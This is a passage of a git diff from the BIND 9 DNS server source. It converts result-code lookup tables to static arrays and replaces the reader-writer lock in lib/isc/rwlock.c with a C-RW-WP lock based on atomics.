+	[DNS_R_UNKNOWNSERVICE] = "DNS_R_UNKNOWNSERVICE",
+	[DNS_R_RECOVERABLE] = "DNS_R_RECOVERABLE",
+	[DNS_R_UNKNOWNOPT] = "DNS_R_UNKNOWNOPT",
+	[DNS_R_UNEXPECTEDID] = "DNS_R_UNEXPECTEDID",
+	[DNS_R_SEENINCLUDE] = "DNS_R_SEENINCLUDE",
+	[DNS_R_NOTEXACT] = "DNS_R_NOTEXACT",
+	[DNS_R_BLACKHOLED] = "DNS_R_BLACKHOLED",
+	[DNS_R_BADALG] = "DNS_R_BADALG",
+	[DNS_R_METATYPE] = "DNS_R_METATYPE",
+	[DNS_R_CNAMEANDOTHER] = "DNS_R_CNAMEANDOTHER",
+	[DNS_R_SINGLETON] = "DNS_R_SINGLETON",
+	[DNS_R_HINTNXRRSET] = "DNS_R_HINTNXRRSET",
+	[DNS_R_NOMASTERFILE] = "DNS_R_NOMASTERFILE",
+	[DNS_R_UNKNOWNPROTO] = "DNS_R_UNKNOWNPROTO",
+	[DNS_R_CLOCKSKEW] = "DNS_R_CLOCKSKEW",
+	[DNS_R_BADIXFR] = "DNS_R_BADIXFR",
+	[DNS_R_NOTAUTHORITATIVE] = "DNS_R_NOTAUTHORITATIVE",
+	[DNS_R_NOVALIDKEY] = "DNS_R_NOVALIDKEY",
+	[DNS_R_OBSOLETE] = "DNS_R_OBSOLETE",
+	[DNS_R_FROZEN] = "DNS_R_FROZEN",
+	[DNS_R_UNKNOWNFLAG] = "DNS_R_UNKNOWNFLAG",
+	[DNS_R_EXPECTEDRESPONSE] = "DNS_R_EXPECTEDRESPONSE",
+	[DNS_R_NOVALIDDS] = "DNS_R_NOVALIDDS",
+	[DNS_R_NSISADDRESS] = "DNS_R_NSISADDRESS",
+	[DNS_R_REMOTEFORMERR] = "DNS_R_REMOTEFORMERR",
+	[DNS_R_TRUNCATEDTCP] = "DNS_R_TRUNCATEDTCP",
+	[DNS_R_LAME] = "DNS_R_LAME",
+	[DNS_R_UNEXPECTEDRCODE] = "DNS_R_UNEXPECTEDRCODE",
+	[DNS_R_UNEXPECTEDOPCODE] = "DNS_R_UNEXPECTEDOPCODE",
+	[DNS_R_CHASEDSSERVERS] = "DNS_R_CHASEDSSERVERS",
+	[DNS_R_EMPTYNAME] = "DNS_R_EMPTYNAME",
+	[DNS_R_EMPTYWILD] = "DNS_R_EMPTYWILD",
+	[DNS_R_BADBITMAP] = "DNS_R_BADBITMAP",
+	[DNS_R_FROMWILDCARD] = "DNS_R_FROMWILDCARD",
+	[DNS_R_BADOWNERNAME] = "DNS_R_BADOWNERNAME",
+	[DNS_R_BADNAME] = "DNS_R_BADNAME",
+	[DNS_R_DYNAMIC] = "DNS_R_DYNAMIC",
+	[DNS_R_UNKNOWNCOMMAND] = "DNS_R_UNKNOWNCOMMAND",
+	[DNS_R_MUSTBESECURE] = "DNS_R_MUSTBESECURE",
+	[DNS_R_COVERINGNSEC] = "DNS_R_COVERINGNSEC",
+	[DNS_R_MXISADDRESS] = "DNS_R_MXISADDRESS",
+	[DNS_R_DUPLICATE] = "DNS_R_DUPLICATE",
+	[DNS_R_INVALIDNSEC3] = "DNS_R_INVALIDNSEC3",
+	[DNS_R_NOTPRIMARY] = "DNS_R_NOTPRIMARY",
+	[DNS_R_BROKENCHAIN] = "DNS_R_BROKENCHAIN",
+	[DNS_R_EXPIRED] = "DNS_R_EXPIRED",
+	[DNS_R_NOTDYNAMIC] = "DNS_R_NOTDYNAMIC",
+	[DNS_R_BADEUI] = "DNS_R_BADEUI",
+	[DNS_R_NTACOVERED] = "DNS_R_NTACOVERED",
+	[DNS_R_BADCDS] = "DNS_R_BADCDS",
+	[DNS_R_BADCDNSKEY] = "DNS_R_BADCDNSKEY",
+	[DNS_R_OPTERR] = "DNS_R_OPTERR",
+	[DNS_R_BADDNSTAP] = "DNS_R_BADDNSTAP",
+	[DNS_R_BADTSIG] = "DNS_R_BADTSIG",
+	[DNS_R_BADSIG0] = "DNS_R_BADSIG0",
+	[DNS_R_TOOMANYRECORDS] = "DNS_R_TOOMANYRECORDS",
+	[DNS_R_VERIFYFAILURE] = "DNS_R_VERIFYFAILURE",
+	[DNS_R_ATZONETOP] = "DNS_R_ATZONETOP",
+	[DNS_R_NOKEYMATCH] = "DNS_R_NOKEYMATCH",
+	[DNS_R_TOOMANYKEYS] = "DNS_R_TOOMANYKEYS",
+	[DNS_R_KEYNOTACTIVE] = "DNS_R_KEYNOTACTIVE",
+	[DNS_R_NSEC3ITERRANGE] = "DNS_R_NSEC3ITERRANGE",
+	[DNS_R_NSEC3SALTRANGE] = "DNS_R_NSEC3SALTRANGE",
+	[DNS_R_NSEC3BADALG] = "DNS_R_NSEC3BADALG",
+	[DNS_R_NSEC3RESALT] = "DNS_R_NSEC3RESALT",
+	[DNS_R_INCONSISTENTRR] = "DNS_R_INCONSISTENTRR",
+	[DNS_R_HAVEPARMKEYS] = "DNS_R_HAVEPARMKEYS",
+	[DNS_R_NOALPN] = "DNS_R_NOALPN",
+	[DNS_R_NODOHPATH] = "DNS_R_NODOHPATH",
+
+	[DST_R_UNSUPPORTEDALG] = "DST_R_UNSUPPORTEDALG",
+	[DST_R_CRYPTOFAILURE] = "DST_R_CRYPTOFAILURE",
+	[DST_R_NOCRYPTO] = "DST_R_NOCRYPTO",
+	[DST_R_NULLKEY] = "DST_R_NULLKEY",
+	[DST_R_INVALIDPUBLICKEY] = "DST_R_INVALIDPUBLICKEY",
+	[DST_R_INVALIDPRIVATEKEY] = "DST_R_INVALIDPRIVATEKEY",
+	[DST_R_WRITEERROR] = "DST_R_WRITEERROR",
+	[DST_R_INVALIDPARAM] = "DST_R_INVALIDPARAM",
+	[DST_R_SIGNFAILURE] = "DST_R_SIGNFAILURE",
+	[DST_R_VERIFYFAILURE] = "DST_R_VERIFYFAILURE",
+	[DST_R_NOTPUBLICKEY] = "DST_R_NOTPUBLICKEY",
+	[DST_R_NOTPRIVATEKEY] = "DST_R_NOTPRIVATEKEY",
+	[DST_R_KEYCANNOTCOMPUTESECRET] = "DST_R_KEYCANNOTCOMPUTESECRET",
+	[DST_R_COMPUTESECRETFAILURE] = "DST_R_COMPUTESECRETFAILURE",
+	[DST_R_NORANDOMNESS] = "DST_R_NORANDOMNESS",
+	[DST_R_BADKEYTYPE] = "DST_R_BADKEYTYPE",
+	[DST_R_NOENGINE] = "DST_R_NOENGINE",
+	[DST_R_EXTERNALKEY] = "DST_R_EXTERNALKEY",
+
+	[DNS_R_NOERROR] = "DNS_R_NOERROR",
+	[DNS_R_FORMERR] = "DNS_R_FORMERR",
+	[DNS_R_SERVFAIL] = "DNS_R_SERVFAIL",
+	[DNS_R_NXDOMAIN] = "DNS_R_NXDOMAIN",
+	[DNS_R_NOTIMP] = "DNS_R_NOTIMP",
+	[DNS_R_REFUSED] = "DNS_R_REFUSED",
+	[DNS_R_YXDOMAIN] = "DNS_R_YXDOMAIN",
+	[DNS_R_YXRRSET] = "DNS_R_YXRRSET",
+	[DNS_R_NXRRSET] = "DNS_R_NXRRSET",
+	[DNS_R_NOTAUTH] = "DNS_R_NOTAUTH",
+	[DNS_R_NOTZONE] = "DNS_R_NOTZONE",
+	[DNS_R_RCODE11] = "DNS_R_RCODE11",
+	[DNS_R_RCODE12] = "RNS_R_RCODE12",
+	[DNS_R_RCODE13] = "DNS_R_RCODE13",
+	[DNS_R_RCODE14] = "DNS_R_RCODE14",
+	[DNS_R_RCODE15] = "DNS_R_RCODE15",
+	[DNS_R_BADVERS] = "DNS_R_BADVERS",
+	[DNS_R_BADCOOKIE] = "DNS_R_BADCOOKIE",
+
+	[ISCCC_R_UNKNOWNVERSION] = "ISCCC_R_UNKNOWNVERSION",
+	[ISCCC_R_SYNTAX] = "ISCCC_R_SYNTAX",
+	[ISCCC_R_BADAUTH] = "ISCCC_R_BADAUTH",
+	[ISCCC_R_EXPIRED] = "ISCCC_R_EXPIRED",
+	[ISCCC_R_CLOCKSKEW] = "ISCCC_R_CLOCKSKEW",
+	[ISCCC_R_DUPLICATE] = "ISCCC_R_DUPLICATE",
+	[ISCCC_R_MAXDEPTH] = "ISCCC_R_MAXDEPTH",
+};
 
-	RWLOCK(&lock, isc_rwlocktype_read);
+STATIC_ASSERT((DNS_R_SERVFAIL - DNS_R_NOERROR == 2),
+	      "DNS_R_NOERROR has wrong value");
 
-	text = NULL;
-	for (table = ISC_LIST_HEAD(*tables); table != NULL;
-	     table = ISC_LIST_NEXT(table, link))
-	{
-		if (result >= table->base && result <= table->last) {
-			index = (int)(result - table->base);
-			text = table->text[index];
-			break;
-		}
-	}
-	if (text == NULL) {
-		text = "(result code text not available)";
-	}
+STATIC_ASSERT((DNS_R_BADVERS - DNS_R_NOERROR == 16),
+	      "DNS_R_BADVERS has wrong value");
 
-	RWUNLOCK(&lock, isc_rwlocktype_read);
-
-	return (text);
-}
+STATIC_ASSERT((ISC_R_NRESULTS < INT32_MAX), "result.h enum too big");
 
 const char *
 isc_result_totext(isc_result_t result) {
-	return (isc_result_tomany_helper(&description_tables, result));
+	return (description[result]);
 }
 
 const char *
 isc_result_toid(isc_result_t result) {
-	return (isc_result_tomany_helper(&identifier_tables, result));
-}
-
-isc_result_t
-isc_result_register(unsigned int base, unsigned int nresults, const char **text,
-		    int set) {
-	initialize();
-
-	return (register_table(&description_tables, base, nresults, text, set));
-}
-
-isc_result_t
-isc_result_registerids(unsigned int base, unsigned int nresults,
-		       const char **ids, int set) {
-	initialize();
-
-	return (register_table(&identifier_tables, base, nresults, ids, set));
+	return (identifier[result]);
 }
diff --git a/lib/isc/rwlock.c b/lib/isc/rwlock.c
index 3441ce5c14..f2f3a49398 100644
--- a/lib/isc/rwlock.c
+++ b/lib/isc/rwlock.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,631 +11,304 @@
  * information regarding copyright ownership.
  */
 
+/*
+ * Modified C-RW-WP Implementation from NUMA-Aware Reader-Writer Locks paper:
+ * http://dl.acm.org/citation.cfm?id=2442532
+ *
+ * This work is based on C++ code available from
+ * https://github.com/pramalhe/ConcurrencyFreaks/
+ *
+ * Copyright (c) 2014-2016, Pedro Ramalhete, Andreia Correia
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright
+ *       notice, this list of conditions and the following disclaimer in the
+ *       documentation and/or other materials provided with the distribution.
+ *     * Neither the name of Concurrency Freaks nor the
+ *       names of its contributors may be used to endorse or promote products
+ *       derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER>
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
 /*! \file */
 
 #include <inttypes.h>
 #include <stdbool.h>
 #include <stddef.h>
-
-#if defined(sun) && (defined(__sparc) || defined(__sparc__))
-#include <synch.h> /* for smt_pause(3c) */
-#endif /* if defined(sun) && (defined(__sparc) || defined(__sparc__)) */
+#include <stdlib.h>
+#include <unistd.h>
 
 #include <isc/atomic.h>
-#include <isc/magic.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/hash.h>
+#include <isc/pause.h>
 #include <isc/rwlock.h>
+#include <isc/thread.h>
+#include <isc/tid.h>
 #include <isc/util.h>
 
-#if USE_PTHREAD_RWLOCK
+#include "probes.h"
 
-#include <errno.h>
-#include <pthread.h>
+static atomic_uint_fast16_t isc__crwlock_workers = 128;
 
-void
-isc_rwlock_init(isc_rwlock_t *rwl, unsigned int read_quota,
-		unsigned int write_quota) {
-	UNUSED(read_quota);
-	UNUSED(write_quota);
-	REQUIRE(pthread_rwlock_init(&rwl->rwlock, NULL) == 0);
-	atomic_init(&rwl->downgrade, false);
-}
+#define ISC_RWLOCK_UNLOCKED false
+#define ISC_RWLOCK_LOCKED   true
 
-isc_result_t
-isc_rwlock_lock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	switch (type) {
-	case isc_rwlocktype_read:
-		REQUIRE(pthread_rwlock_rdlock(&rwl->rwlock) == 0);
-		break;
-	case isc_rwlocktype_write:
-		while (true) {
-			REQUIRE(pthread_rwlock_wrlock(&rwl->rwlock) == 0);
-			/* Unlock if in middle of downgrade operation */
-			if (atomic_load_acquire(&rwl->downgrade)) {
-				REQUIRE(pthread_rwlock_unlock(&rwl->rwlock) ==
-					0);
-				while (atomic_load_acquire(&rwl->downgrade)) {
-				}
-				continue;
-			}
-			break;
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	return (ISC_R_SUCCESS);
-}
+/*
+ * See https://csce.ucmss.com/cr/books/2017/LFS/CSREA2017/FCS3701.pdf for
+ * guidance on patience level
+ */
+#ifndef RWLOCK_MAX_READER_PATIENCE
+#define RWLOCK_MAX_READER_PATIENCE 500
+#endif /* ifndef RWLOCK_MAX_READER_PATIENCE */
 
-isc_result_t
-isc_rwlock_trylock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	int ret = 0;
-	switch (type) {
-	case isc_rwlocktype_read:
-		ret = pthread_rwlock_tryrdlock(&rwl->rwlock);
-		break;
-	case isc_rwlocktype_write:
-		ret = pthread_rwlock_trywrlock(&rwl->rwlock);
-		if ((ret == 0) && atomic_load_acquire(&rwl->downgrade)) {
-			isc_rwlock_unlock(rwl, type);
-			return (ISC_R_LOCKBUSY);
-		}
-		break;
-	default:
-		INSIST(0);
-	}
+static void
+read_indicator_wait_until_empty(isc_rwlock_t *rwl);
 
-	switch (ret) {
-	case 0:
-		return (ISC_R_SUCCESS);
-	case EBUSY:
-		return (ISC_R_LOCKBUSY);
-	case EAGAIN:
-		return (ISC_R_LOCKBUSY);
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-}
+#include <stdio.h>
 
-isc_result_t
-isc_rwlock_unlock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	UNUSED(type);
-	REQUIRE(pthread_rwlock_unlock(&rwl->rwlock) == 0);
-	return (ISC_R_SUCCESS);
+static void
+read_indicator_arrive(isc_rwlock_t *rwl) {
+	(void)atomic_fetch_add_release(&rwl->readers_ingress, 1);
 }
 
-isc_result_t
-isc_rwlock_tryupgrade(isc_rwlock_t *rwl) {
-	UNUSED(rwl);
-	return (ISC_R_LOCKBUSY);
+static void
+read_indicator_depart(isc_rwlock_t *rwl) {
+	(void)atomic_fetch_add_release(&rwl->readers_egress, 1);
 }
 
-void
-isc_rwlock_downgrade(isc_rwlock_t *rwl) {
-	atomic_store_release(&rwl->downgrade, true);
-	isc_rwlock_unlock(rwl, isc_rwlocktype_write);
-	isc_rwlock_lock(rwl, isc_rwlocktype_read);
-	atomic_store_release(&rwl->downgrade, false);
+static bool
+read_indicator_isempty(isc_rwlock_t *rwl) {
+	return (atomic_load_acquire(&rwl->readers_egress) ==
+		atomic_load_acquire(&rwl->readers_ingress));
 }
 
-void
-isc_rwlock_destroy(isc_rwlock_t *rwl) {
-	pthread_rwlock_destroy(&rwl->rwlock);
+static void
+writers_barrier_raise(isc_rwlock_t *rwl) {
+	(void)atomic_fetch_add_release(&rwl->writers_barrier, 1);
 }
 
-#else /* if USE_PTHREAD_RWLOCK */
-
-#define RWLOCK_MAGIC	  ISC_MAGIC('R', 'W', 'L', 'k')
-#define VALID_RWLOCK(rwl) ISC_MAGIC_VALID(rwl, RWLOCK_MAGIC)
-
-#ifndef RWLOCK_DEFAULT_READ_QUOTA
-#define RWLOCK_DEFAULT_READ_QUOTA 4
-#endif /* ifndef RWLOCK_DEFAULT_READ_QUOTA */
-
-#ifndef RWLOCK_DEFAULT_WRITE_QUOTA
-#define RWLOCK_DEFAULT_WRITE_QUOTA 4
-#endif /* ifndef RWLOCK_DEFAULT_WRITE_QUOTA */
-
-#ifndef RWLOCK_MAX_ADAPTIVE_COUNT
-#define RWLOCK_MAX_ADAPTIVE_COUNT 100
-#endif /* ifndef RWLOCK_MAX_ADAPTIVE_COUNT */
-
-#if defined(_MSC_VER)
-#include <intrin.h>
-#define isc_rwlock_pause() YieldProcessor()
-#elif defined(__x86_64__)
-#include <immintrin.h>
-#define isc_rwlock_pause() _mm_pause()
-#elif defined(__i386__)
-#define isc_rwlock_pause() __asm__ __volatile__("rep; nop")
-#elif defined(__ia64__)
-#define isc_rwlock_pause() __asm__ __volatile__("hint @pause")
-#elif defined(__arm__) && HAVE_ARM_YIELD
-#define isc_rwlock_pause() __asm__ __volatile__("yield")
-#elif defined(sun) && (defined(__sparc) || defined(__sparc__))
-#define isc_rwlock_pause() smt_pause()
-#elif (defined(__sparc) || defined(__sparc__)) && HAVE_SPARC_PAUSE
-#define isc_rwlock_pause() __asm__ __volatile__("pause")
-#elif defined(__ppc__) || defined(_ARCH_PPC) || defined(_ARCH_PWR) || \
-	defined(_ARCH_PWR2) || defined(_POWER)
-#define isc_rwlock_pause() __asm__ volatile("or 27,27,27")
-#else /* if defined(_MSC_VER) */
-#define isc_rwlock_pause()
-#endif /* if defined(_MSC_VER) */
-
-static isc_result_t
-isc__rwlock_lock(isc_rwlock_t *rwl, isc_rwlocktype_t type);
-
-#ifdef ISC_RWLOCK_TRACE
-#include <stdio.h> /* Required for fprintf/stderr. */
-
-#include <isc/thread.h> /* Required for isc_thread_self(). */
-
 static void
-print_lock(const char *operation, isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	fprintf(stderr,
-		"rwlock %p thread %" PRIuPTR " %s(%s): "
-		"write_requests=%u, write_completions=%u, "
-		"cnt_and_flag=0x%x, readers_waiting=%u, "
-		"write_granted=%u, write_quota=%u\n",
-		rwl, isc_thread_self(), operation,
-		(type == isc_rwlocktype_read ? "read" : "write"),
-		atomic_load_acquire(&rwl->write_requests),
-		atomic_load_acquire(&rwl->write_completions),
-		atomic_load_acquire(&rwl->cnt_and_flag), rwl->readers_waiting,
-		atomic_load_acquire(&rwl->write_granted), rwl->write_quota);
+writers_barrier_lower(isc_rwlock_t *rwl) {
+	(void)atomic_fetch_sub_release(&rwl->writers_barrier, 1);
 }
-#endif			/* ISC_RWLOCK_TRACE */
 
-void
-isc_rwlock_init(isc_rwlock_t *rwl, unsigned int read_quota,
-		unsigned int write_quota) {
-	REQUIRE(rwl != NULL);
-
-	/*
-	 * In case there's trouble initializing, we zero magic now.  If all
-	 * goes well, we'll set it to RWLOCK_MAGIC.
-	 */
-	rwl->magic = 0;
-
-	atomic_init(&rwl->spins, 0);
-	atomic_init(&rwl->write_requests, 0);
-	atomic_init(&rwl->write_completions, 0);
-	atomic_init(&rwl->cnt_and_flag, 0);
-	rwl->readers_waiting = 0;
-	atomic_init(&rwl->write_granted, 0);
-	if (read_quota != 0) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "read quota is not supported");
-	}
-	if (write_quota == 0) {
-		write_quota = RWLOCK_DEFAULT_WRITE_QUOTA;
-	}
-	rwl->write_quota = write_quota;
-
-	isc_mutex_init(&rwl->lock);
-
-	isc_condition_init(&rwl->readable);
-	isc_condition_init(&rwl->writeable);
-
-	rwl->magic = RWLOCK_MAGIC;
+static bool
+writers_barrier_israised(isc_rwlock_t *rwl) {
+	return (atomic_load_acquire(&rwl->writers_barrier) > 0);
 }
 
-void
-isc_rwlock_destroy(isc_rwlock_t *rwl) {
-	REQUIRE(VALID_RWLOCK(rwl));
+static bool
+writers_lock_islocked(isc_rwlock_t *rwl) {
+	return (atomic_load_acquire(&rwl->writers_lock) == ISC_RWLOCK_LOCKED);
+}
 
-	REQUIRE(atomic_load_acquire(&rwl->write_requests) ==
-			atomic_load_acquire(&rwl->write_completions) &&
-		atomic_load_acquire(&rwl->cnt_and_flag) == 0 &&
-		rwl->readers_waiting == 0);
+static bool
+writers_lock_acquire(isc_rwlock_t *rwl) {
+	return (atomic_compare_exchange_weak_acq_rel(
+		&rwl->writers_lock, &(bool){ ISC_RWLOCK_UNLOCKED },
+		ISC_RWLOCK_LOCKED));
+}
 
-	rwl->magic = 0;
-	(void)isc_condition_destroy(&rwl->readable);
-	(void)isc_condition_destroy(&rwl->writeable);
-	isc_mutex_destroy(&rwl->lock);
+static void
+writers_lock_release(isc_rwlock_t *rwl) {
+	REQUIRE(atomic_compare_exchange_strong_acq_rel(
+		&rwl->writers_lock, &(bool){ ISC_RWLOCK_LOCKED },
+		ISC_RWLOCK_UNLOCKED));
 }
 
-/*
- * When some architecture-dependent atomic operations are available,
- * rwlock can be more efficient than the generic algorithm defined below.
- * The basic algorithm is described in the following URL:
- *   http://www.cs.rochester.edu/u/scott/synchronization/pseudocode/rw.html
- *
- * The key is to use the following integer variables modified atomically:
- *   write_requests, write_completions, and cnt_and_flag.
- *
- * write_requests and write_completions act as a waiting queue for writers
- * in order to ensure the FIFO order.  Both variables begin with the initial
- * value of 0.  When a new writer tries to get a write lock, it increments
- * write_requests and gets the previous value of the variable as a "ticket".
- * When write_completions reaches the ticket number, the new writer can start
- * writing.  When the writer completes its work, it increments
- * write_completions so that another new writer can start working.  If the
- * write_requests is not equal to write_completions, it means a writer is now
- * working or waiting.  In this case, a new readers cannot start reading, or
- * in other words, this algorithm basically prefers writers.
- *
- * cnt_and_flag is a "lock" shared by all readers and writers.  This integer
- * variable is a kind of structure with two members: writer_flag (1 bit) and
- * reader_count (31 bits).  The writer_flag shows whether a writer is working,
- * and the reader_count shows the number of readers currently working or almost
- * ready for working.  A writer who has the current "ticket" tries to get the
- * lock by exclusively setting the writer_flag to 1, provided that the whole
- * 32-bit is 0 (meaning no readers or writers working).  On the other hand,
- * a new reader tries to increment the "reader_count" field provided that
- * the writer_flag is 0 (meaning there is no writer working).
- *
- * If some of the above operations fail, the reader or the writer sleeps
- * until the related condition changes.  When a working reader or writer
- * completes its work, some readers or writers are sleeping, and the condition
- * that suspended the reader or writer has changed, it wakes up the sleeping
- * readers or writers.
- *
- * As already noted, this algorithm basically prefers writers.  In order to
- * prevent readers from starving, however, the algorithm also introduces the
- * "writer quota" (Q).  When Q consecutive writers have completed their work,
- * suspending readers, the last writer will wake up the readers, even if a new
- * writer is waiting.
- *
- * Implementation specific note: due to the combination of atomic operations
- * and a mutex lock, ordering between the atomic operation and locks can be
- * very sensitive in some cases.  In particular, it is generally very important
- * to check the atomic variable that requires a reader or writer to sleep after
- * locking the mutex and before actually sleeping; otherwise, it could be very
- * likely to cause a deadlock.  For example, assume "var" is a variable
- * atomically modified, then the corresponding code would be:
- *	if (var == need_sleep) {
- *		LOCK(lock);
- *		if (var == need_sleep)
- *			WAIT(cond, lock);
- *		UNLOCK(lock);
- *	}
- * The second check is important, since "var" is protected by the atomic
- * operation, not by the mutex, and can be changed just before sleeping.
- * (The first "if" could be omitted, but this is also important in order to
- * make the code efficient by avoiding the use of the mutex unless it is
- * really necessary.)
- */
+#define ran_out_of_patience(cnt) (cnt >= RWLOCK_MAX_READER_PATIENCE)
 
-#define WRITER_ACTIVE 0x1
-#define READER_INCR   0x2
-
-static isc_result_t
-isc__rwlock_lock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	int32_t cntflag;
-
-	REQUIRE(VALID_RWLOCK(rwl));
-
-#ifdef ISC_RWLOCK_TRACE
-	print_lock("prelock", rwl, type);
-#endif /* ifdef ISC_RWLOCK_TRACE */
-
-	if (type == isc_rwlocktype_read) {
-		if (atomic_load_acquire(&rwl->write_requests) !=
-		    atomic_load_acquire(&rwl->write_completions))
-		{
-			/* there is a waiting or active writer */
-			LOCK(&rwl->lock);
-			if (atomic_load_acquire(&rwl->write_requests) !=
-			    atomic_load_acquire(&rwl->write_completions))
-			{
-				rwl->readers_waiting++;
-				WAIT(&rwl->readable, &rwl->lock);
-				rwl->readers_waiting--;
-			}
-			UNLOCK(&rwl->lock);
-		}
+void
+isc_rwlock_rdlock(isc_rwlock_t *rwl) {
+	uint32_t cnt = 0;
+	bool barrier_raised = false;
 
-		cntflag = atomic_fetch_add_release(&rwl->cnt_and_flag,
-						   READER_INCR);
-		POST(cntflag);
-		while (1) {
-			if ((atomic_load_acquire(&rwl->cnt_and_flag) &
-			     WRITER_ACTIVE) == 0) {
-				break;
-			}
+	LIBISC_RWLOCK_RDLOCK_REQ(rwl);
 
-			/* A writer is still working */
-			LOCK(&rwl->lock);
-			rwl->readers_waiting++;
-			if ((atomic_load_acquire(&rwl->cnt_and_flag) &
-			     WRITER_ACTIVE) != 0) {
-				WAIT(&rwl->readable, &rwl->lock);
-			}
-			rwl->readers_waiting--;
-			UNLOCK(&rwl->lock);
-
-			/*
-			 * Typically, the reader should be able to get a lock
-			 * at this stage:
-			 *   (1) there should have been no pending writer when
-			 *       the reader was trying to increment the
-			 *       counter; otherwise, the writer should be in
-			 *       the waiting queue, preventing the reader from
-			 *       proceeding to this point.
-			 *   (2) once the reader increments the counter, no
-			 *       more writer can get a lock.
-			 * Still, it is possible another writer can work at
-			 * this point, e.g. in the following scenario:
-			 *   A previous writer unlocks the writer lock.
-			 *   This reader proceeds to point (1).
-			 *   A new writer appears, and gets a new lock before
-			 *   the reader increments the counter.
-			 *   The reader then increments the counter.
-			 *   The previous writer notices there is a waiting
-			 *   reader who is almost ready, and wakes it up.
-			 * So, the reader needs to confirm whether it can now
-			 * read explicitly (thus we loop).  Note that this is
-			 * not an infinite process, since the reader has
-			 * incremented the counter at this point.
-			 */
-		}
-
-		/*
-		 * If we are temporarily preferred to writers due to the writer
-		 * quota, reset the condition (race among readers doesn't
-		 * matter).
-		 */
-		atomic_store_release(&rwl->write_granted, 0);
-	} else {
-		int32_t prev_writer;
-
-		/* enter the waiting queue, and wait for our turn */
-		prev_writer = atomic_fetch_add_release(&rwl->write_requests, 1);
-		while (atomic_load_acquire(&rwl->write_completions) !=
-		       prev_writer) {
-			LOCK(&rwl->lock);
-			if (atomic_load_acquire(&rwl->write_completions) !=
-			    prev_writer) {
-				WAIT(&rwl->writeable, &rwl->lock);
-				UNLOCK(&rwl->lock);
-				continue;
-			}
-			UNLOCK(&rwl->lock);
+	while (true) {
+		read_indicator_arrive(rwl);
+		if (!writers_lock_islocked(rwl)) {
+			/* Acquired lock in read-only mode */
 			break;
 		}
 
-		while (!atomic_compare_exchange_weak_acq_rel(
-			&rwl->cnt_and_flag, &(int_fast32_t){ 0 },
-			WRITER_ACTIVE))
-		{
-			/* Another active reader or writer is working. */
-			LOCK(&rwl->lock);
-			if (atomic_load_acquire(&rwl->cnt_and_flag) != 0) {
-				WAIT(&rwl->writeable, &rwl->lock);
+		/* Writer has acquired the lock, must reset to 0 and wait */
+		read_indicator_depart(rwl);
+
+		while (writers_lock_islocked(rwl)) {
+			isc_pause();
+			if (ran_out_of_patience(cnt++) && !barrier_raised) {
+				writers_barrier_raise(rwl);
+				barrier_raised = true;
 			}
-			UNLOCK(&rwl->lock);
 		}
-
-		INSIST((atomic_load_acquire(&rwl->cnt_and_flag) &
-			WRITER_ACTIVE));
-		atomic_fetch_add_release(&rwl->write_granted, 1);
+	}
+	if (barrier_raised) {
+		writers_barrier_lower(rwl);
 	}
 
-#ifdef ISC_RWLOCK_TRACE
-	print_lock("postlock", rwl, type);
-#endif /* ifdef ISC_RWLOCK_TRACE */
-
-	return (ISC_R_SUCCESS);
+	LIBISC_RWLOCK_RDLOCK_ACQ(rwl);
 }
 
 isc_result_t
-isc_rwlock_lock(isc_rwlock_t *rwl, isc_rwlocktype_t type) {
-	int32_t cnt = 0;
-	int32_t spins = atomic_load_acquire(&rwl->spins) * 2 + 10;
-	int32_t max_cnt = ISC_MAX(spins, RWLOCK_MAX_ADAPTIVE_COUNT);
-	isc_result_t result = ISC_R_SUCCESS;
-
-	do {
-		if (cnt++ >= max_cnt) {
-			result = isc__rwlock_lock(rwl, type);
-			break;
-		}
-		isc_rwlock_pause();
-	} while (isc_rwlock_trylock(rwl, type) != ISC_R_SUCCESS);
+isc_rwlock_tryrdlock(isc_rwlock_t *rwl) {
+	read_indicator_arrive(rwl);
+	if (writers_lock_islocked(rwl)) {
+		/* Writer has acquired the lock, release the read lock */
+		read_indicator_depart(rwl);
+
+		LIBISC_RWLOCK_TRYRDLOCK(rwl, ISC_R_LOCKBUSY);
+		return (ISC_R_LOCKBUSY);
+	}
 
-	atomic_fetch_add_release(&rwl->spins, (cnt - spins) / 8);
+	/* Acquired lock in read-only mode */
+	LIBISC_RWLOCK_TRYRDLOCK(rwl, ISC_R_SUCCESS);
+	return (ISC_R_SUCCESS);
+}
 
-	return (result);
+void
